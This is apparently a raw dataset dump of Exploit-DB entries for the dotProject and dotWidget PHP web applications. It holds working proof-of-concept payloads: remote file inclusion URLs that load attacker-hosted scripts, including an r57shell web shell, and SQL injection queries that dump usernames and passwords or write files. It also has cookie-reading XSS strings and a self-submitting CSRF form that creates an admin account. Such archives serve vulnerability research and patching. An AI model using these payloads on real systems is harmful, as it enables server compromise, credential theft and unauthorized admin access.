deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27219
Description: dotProject 2.0 - '/includes/session.php?baseDir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-02-14
Author: r.verton

Exploit:
source: https://www.securityfocus.com/bid/16648/info
  
Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com/includes/session.php?baseDir=[REMOTE INCLUDE]
Exploit-DB #27222
Description: dotProject 2.0 - '/modules/admin/vw_usr_roles.php?baseDir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-02-14
Author: r.verton

Exploit:
source: https://www.securityfocus.com/bid/16648/info
     
Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com /modules/admin/vw_usr_roles.php?baseDir=[REMOTE INCLUDE]
Exploit-DB #27217
Description: dotProject 2.0 - '/modules/projects/gantt.php?dPconfig[root_dir]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-02-14
Author: r.verton

Exploit:
source: https://www.securityfocus.com/bid/16648/info

Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com/modules/projects/gantt.php?dPconfig[root_dir]=[REMOTE INCLUDE]
Exploit-DB #27220
Description: dotProject 2.0 - '/modules/projects/gantt2.php?dPconfig[root_dir]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-02-14
Author: r.verton

Exploit:
source: https://www.securityfocus.com/bid/16648/info
   
Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com /modules/projects/gantt2.php?dPconfig[root_dir]=[REMOTE INCLUDE]
Exploit-DB #27221
Description: dotProject 2.0 - '/modules/projects/vw_files.php?dPconfig[root_dir]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-02-14
Author: r.verton

Exploit:
source: https://www.securityfocus.com/bid/16648/info
    
Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com /modules/projects/vw_files.php?dPconfig[root_dir]=[REMOTE INCLUDE]
Exploit-DB #27223
Description: dotProject 2.0 - '/modules/public/calendar.php?baseDir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-02-14
Author: r.verton

Exploit:
source: https://www.securityfocus.com/bid/16648/info
      
Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
      
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com /modules/public/calendar.php?baseDir=[REMOTE INCLUDE]
Exploit-DB #27224
Description: dotProject 2.0 - '/modules/public/date_format.php?baseDir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-02-14
Author: r.verton

Exploit:
source: https://www.securityfocus.com/bid/16648/info
       
Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
       
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com /modules/public/date_format.php?baseDir=[REMOTE INCLUDE]
Exploit-DB #27225
Description: dotProject 2.0 - '/modules/tasks/gantt.php?baseDir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-02-14
Author: r.verton

Exploit:
source: https://www.securityfocus.com/bid/16648/info
        
Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
        
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com /modules/tasks/gantt.php?baseDir=[REMOTE INCLUDE]
Exploit-DB #1934
Description: dotProject 2.0.3 - 'baseDir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-20
Author: h4ntu

Exploit:
Credits : h4ntu
Title : dotProject <= 2.0.3 Remote File Inclusion
URL : http://www.dotproject.net/
Exploit : http://target.com/[dotProject_path]/includes/db_adodb.php?baseDir=[attacker] 

# milw0rm.com [2006-06-20]
Exploit-DB #2191
Description: dotProject 2.0.4 - 'baseDir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-16
Author: Kacper

Exploit:
/*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- dotProject <= 2.0.4 (baseDir) Remote File Include Vulnerabilities
+
- [Script name: dotProject v. 2.0.4
- [Script site: http://www.dotproject.net/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-          http://www.devilteam.yum.pl
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Greetz: DragonHeart
- and all DEVIL TEAM Members :-)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
#Expl:

http://www.site.com/[dotProject_path]/classes/query.class.php?baseDir=[evil_scripts]

#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-08-16]
Exploit-DB #32306
Description: dotProject 2.1.2 - Multiple SQL Injections / Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-08-29
Author: C1c4Tr1Z

Exploit:
source: https://www.securityfocus.com/bid/30924/info

dotProject is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Attackers may exploit the SQL-injection issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

dotProject 2.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?m=tasks&inactive=toggle"> http://www.example.com/index.php?m=calendar&a=day_view&date=20080828"> http://www.example.com/index.php?m=public&a=calendar&dialog=1&callback=setCalendar"> http://www.example.com/index.php?m=ticketsmith&type=My'> http://www.example.com/index.php?m=projects&tab=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,user_id,user_username,user_password),14,15,16,17,18,19,20,21,22 FROM users--
Exploit-DB #11298
Description: dotProject 2.1.3 - Cross-Site Scripting / Improper Permissions
Type: webapps
Platform: php
Date: 2010-01-30
Author: h00die

Exploit:
# Exploit Title: dotProject 2.1.3 XSS and Improper Permissions
# Date: Dec 15 2009
# Author: h00die (mcyr2@csc.com) & S0lus
# Software Link: http://sourceforge.net/projects/dotproject/files/dotproject/dotProject%20Version%202.1.3/dotproject_2_1_3.zip/download
# Version: 2.1.3
# Tested on: BT4 pre-final
# Greetz to muts and loganWHD
# http://www.offensive-security.com/offsec101.php turning script kiddies into ninjas daily

#Timeline
#Discovery Date: Dec 9 2009
#Vendor Notification: Jan 5 2010
#Public Disclosure:

#Findings:
1. Admin’s Custom Field page is not properly protected from standard users (Default User, role of Project Worker), which can be used with finding 2.
	http://[ip]/dotproject/index.php?m=system&a=custom_field_editor
2. Cross Site Scripting (XSS) via HTML Tag Options field for Custom Fields within all categories (Companies, Projects, Tasks, Calendar)
	http://[ip]/dotproject/index.php?m=system&a=custom_field_editor
	then ‘Add a new Custom Field to this Module’, use Field Display Type as Label, add <script>alert('xss custom module tag options');</script> for HTML Tag Options.  Keep description blank and this field will be invisible when being executed in the victim’s browser
3. Companies is vulnerable to multiple XSS attacks in the following fields:
	Company Name, Address1, Address2, URL, and Description via page: http://[ip]/dotproject/index.php?m=companies&a=addedit
4. Projects is vulnerable to multiple XSS attacks, but it is only when viewing that specific project’s details.  When listing all projects the script is not executed and the text is all displayed, so this is not very covert.
	Project Name, URL, Staging URL, and Description via page http://[ip]/dotproject/index.php?m=projects&a=addedit
5. Tasks is vulnerable to XSS via the Task Name field but no other fields.
	http://[ip]/dotproject/index.php?m=tasks
6. Files has multiple XSS issues.
	Folder Name is vulnerable to XSS via http://[ip]/dotproject/index.php?m=files&a=addedit_folder
	File Description is vulnerable to XSS via http://[ip]/dotproject/index.php?m=files&a=addedit&folder=0
7. Contacts (contact list is safe) is vulnerable to XSS when viewing that contact’s details, similar to #4
	Job Title, Title, Address1, Address2, URL, Jabber, MSN, Yahoo, and Contact Notes are all vulnerable via http://[ip]/dotproject/index.php?m=contacts&a=addedit
8. Forums is vulnerable to XSS
	Forum Name and Description are vulnerable to XSS via http://[ip]/dotproject/index.php?m=forums&a=addedit
	Within a Topic, a Subject and message are both vulnerable to XSS
9. Tickets is vulnerable to XSS attacks in the following field:
	E-Mail via http://[IP]/dotproject/index.php?m=ticketsmith&a=post_ticket
Exploit-DB #16135
Description: dotProject 2.1.5 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2011-02-08
Author: AutoSec Tools

Exploit:
Source: http://packetstormsecurity.org/files/view/98245/dotProject2.1.5-xsrf.txt

<!------------------------------------------------------------------------
# Software................dotProject 2.1.5
# Vulnerability...........Cross-site Request Forgery
# Download................http://sourceforge.net/projects/dotproject/
# Release Date............2/2/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# ------------------------------------------------------------------------
# 
# --Description--
# 
# A cross-site request forgery vulnerability in dotProject 2.1.5 can be
# exploited to create a new admin.
# 
# 
# --PoC-->
<html>
    <body onload="document.forms[0].submit()">
        <form method="POST" action="http://localhost/dotproject/index.php?m=admin">
            <input type="hidden" name="user_id" value="0" />
            <input type="hidden" name="contact_id" value="0" />
            <input type="hidden" name="dosql" value="do_user_aed" />
            <input type="hidden" name="username_min_len" value="4)" />
            <input type="hidden" name="password_min_len" value="4)" />
            <input type="hidden" name="user_username" value="new_admin" />
            <input type="hidden" name="user_type" value="1" />
            <input type="hidden" name="user_role" value="11" />
            <input type="hidden" name="user_password" value="Password1" />
            <input type="hidden" name="password_check" value="Password1" />
            <input type="hidden" name="contact_first_name" value="x" />
            <input type="hidden" name="contact_last_name" value="x" />
            <input type="hidden" name="contact_company" value="0" />
            <input type="hidden" name="contact_department" value="" />
            <input type="hidden" name="contact_email" value="x@x.com" />
            <input type="hidden" name="user_signature" value="" />
        </form>
    </body>
</html>
Exploit-DB #16207
Description: dotProject 2.1.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-22
Author: lemlajt

Exploit:
# exploit title: sql injection in dotproject 2.1.5
# date 21.o2.2o11
# author: lemlajt
# software : dotproject
# version: 2.1.5
# tested on: linux
# cve :
# http://dotproject.net/


PoC :
http://localhost/www/cmsadmins/dotpro/dotproject/fileviewer.php?file_id='

in src:
2 ./dotproject/fileviewer.php:
127 db_loadHash('SELECT * FROM (`dotp_files`) WHERE file_id = -9',NULL)

another xss/sqli is here:
POST http://localhost/www/cmsadmins/dotpro/dotproject/index.php?m=projects
$department=company_1"><script>alert(1)</script>

we get an error with sql infos and xss.

1. visit
http://localhost/www/cmsadmins/dotpro/dotproject/index.php?m=projects&a=addedit
(adding new project)
2. POST $project_name="><script>
persistant.here</script> and choose 'company' to submit the form.
3. to see some affects just visit new project page: (in this example)
http://localhost/www/cmsadmins/dotpro/dotproject/index.php?m=projects&a=view&project_id=2

# *
regards!

o/
Exploit-DB #17829
Description: dotProject 2.1.5 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-13
Author: sherl0ck_

Exploit:
# Exploit Title: dotProject 2.1.5 SQL Injection Vulnerability
# Google Dork: intitle:"dotproject"
# Date: 2011-12-09
# Author: sherl0ck_ <sherl0ck_[at]alligatorteam[dot]org> @AlligatorTeam
# Software Link: http://www.dotproject.net/
# Version: 2.1.5 (tested)
# Tested on: Debian GNU/Linux 5.0

---------------
PoC
---------------

URL:
http://www.site.com/dotproject/index.php?m=ticketsmith&a=view&ticket=-2union
all select
1,2,3,@@VERSION,5,USER(),7,8,9,10,11,12,13,DATABASE(),group_concat(user_username,0x3A,user_password,0xA),16
from dotp_users

---------------
Vulnerable code
---------------

modules/ticketsmith/view.php
...
11 $ticket = dPgetParam($_GET, 'ticket', '');
...
219 $ticket_info = query2hash("SELECT * FROM {$dbprefix}tickets WHERE ticket
= $ticket");
...

Functions:

includes/main_functions.php
...
283 function dPgetParam(&$arr, $name, $def=null) {
284   return defVal($arr[$name], $def);
285 }
...

modules/ticketsmith/common.inc.php
...
 50 /* get result in associative array */
 51 function query2hash ($query) {
 52
 53   $result = do_query($query);
 54   $row = @mysql_fetch_array($result);
 55   return($row);
 56
 57 }
...
 22 function do_query ($query) {
 23   $result = @mysql_query($query);
 24   if (!$result) {
 25     fatal_error("A database query error has
occurred!<br>".mysql_error());
 26   } else {
 27     return($result);
 28   }
 29
 30 }
Exploit-DB #22708
Description: dotProject 2.1.6 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-11-14
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-11-13                              ]
 #################################################################
 #  [ dotProject <= 2.1.6 ] Remote File Inclusion Vulnerability  #
 #################################################################
 #
 # Script: "PHP web-based project management framework that includes modules for companies,
 #          projects, tasks (with Gantt charts), forums, files, calendar, contacts, tickets/helpdesk,
 #          multi-language support, user/module permissions and themes"
 #
 # Vendor:   http://www.dotproject.net/
 # Download: http://sourceforge.net/projects/dotproject/files/dotproject/dotProject%20Version%202.1.6/
 #
 #################################################################
 #
 # [ Remote File Inclusion ] ( allow_url_include = On; register_globals = On; )
 #
 # File: dotproject/modules/projectdesigner/gantt.php ( line: 8 ):
 # ..cut..
 # include ($dPconfig['root_dir'].'/lib/jpgraph/src/jpgraph.php');
 # ..cut..
 #
 # Vuln: http://localhost/dotproject/modules/projectdesigner/gantt.php?dPconfig[root_dir]=http://localhost/info.txt?
 #
 ### [ dun / 2012 ] #############################################
Exploit-DB #38043
Description: dotProject 2.1.x - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-11-21
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/56624/info
 
Dotproject is prone to the following security vulnerabilities:
 
1. Multiple SQL-injection vulnerabilities
 
2. Multiple cross-site scripting vulnerabilities
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Dotproject versions prior to 2.1.7 are vulnerable. 

http://www.example.com/?m=public&a=color_selector&callback=%3C/script%3E%3Cscript%3Ealert%28document.cookie%2 9;%3C/script%3E
http://www.example.com/?m=public&a=date_format&field=%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E
http://www.example.com/index.php?m=contacts&a=addedit&contact_id=0&company_id=1&company_name=%22%20onmouseove r=%22javascript:alert%28document.cookie%29%22
http://www.example.com/index.php?a=day_view&date=%22%20onmouseover=%22javascript:alert%28document.cookie%29%2 2
Exploit-DB #38042
Description: dotProject 2.1.x - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-11-21
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/56624/info

Dotproject is prone to the following security vulnerabilities:

1. Multiple SQL-injection vulnerabilities

2. Multiple cross-site scripting vulnerabilities

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dotproject versions prior to 2.1.7 are vulnerable. 

http://www.example.com/index.php?m=contacts&search_string=0%27%29%20UNION%20SELECT%20version(),2,3,4,5,6,7,8, 9,10,11%20INTO%20OUTFILE%20%27file.txt%27%20--%202
http://www.example.com/index.php?m=contacts&where=%27%29%20UNION%20SELECT%20version(),2,3,4,5,6,7,8,9,10,11%2 0INTO%20OUTFILE%20%27/tmp/file.txt%27%20--%202
http://www.example.com/index.php?m=departments&dept_id=%27%20UNION%20SELECT%20version%28%29%20INTO%20OUTFILE% 20%27/tmp/file.txt%27%20--%202
http://www.example.com/?m=projects&update_project_status=1&project_status=1&project_id[]=%27%20UNION%20SELECT %20version%28%29%20INTO%20OUTFILE%20%27/tmp/file.txt%27%20--%202
http://www.example.com/?m=system&a=billingcode&company_id=0%20UNION%20SELECT%201,2,3,4,5,6%20INTO%20OUTFILE%2 0%27/tmp/file.txt%27%20--%202
Exploit-DB #1879
Description: dotWidget CMS 1.0.6 - 'file_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-05
Author: Aesthetico

Exploit:
Title: dotWidget CMS <= 1.0.6 - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: dotWidget
URL: http://dotwigdet.com
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "dotwidget Printer-friendly"
-----------------------------------------------------------------

Exploitation:

/index.php?file_path=http://www.yourspace.com/yourscript.php?
/feedback.php?file_path=http://www.yourspace.com/yourscript.php?
/printfriendly.php?file_path=http://www.yourspace.com/yourscript.php?

EvilCookie <dorshirl[at]zahav.net.il> submitted these extra file_path issues.

/includes/common.inc?file_path=http://www.yourspace.com/yourscript.php?
/includes/nav.inc?file_path=http://www.yourspace.com/yourscript.php?
/admin/dotwidgetc_config.php?file_path=http://www.yourspace.com/yourscript.php?

# milw0rm.com [2006-06-05]
Exploit-DB #28042
Description: dotWidget for articles 2.0 - '/admin/articles.php' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-06-03
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/18479/info
   
dotWidget for Articles is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
   
Some of these issue may be related to those discussed in BID 18258 (DotWidget CMS Multiple Remote File Include Vulnerabilities).

http://www.example.com/path/admin/articles.php?admin_footer_file=http://www.example2.com/r57shell.txt?
Exploit-DB #28041
Description: dotWidget for articles 2.0 - '/admin/authors.php' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-06-03
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/18479/info
  
dotWidget for Articles is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
  
Some of these issue may be related to those discussed in BID 18258 (DotWidget CMS Multiple Remote File Include Vulnerabilities).

http://www.example.com/path/admin/authors.php?admin_header_file=http://www.example2.com/r57shell.txt?
http://www.example.com/path/admin/authors.php?admin_footer_file=http://www.example2.com/r57shell.txt?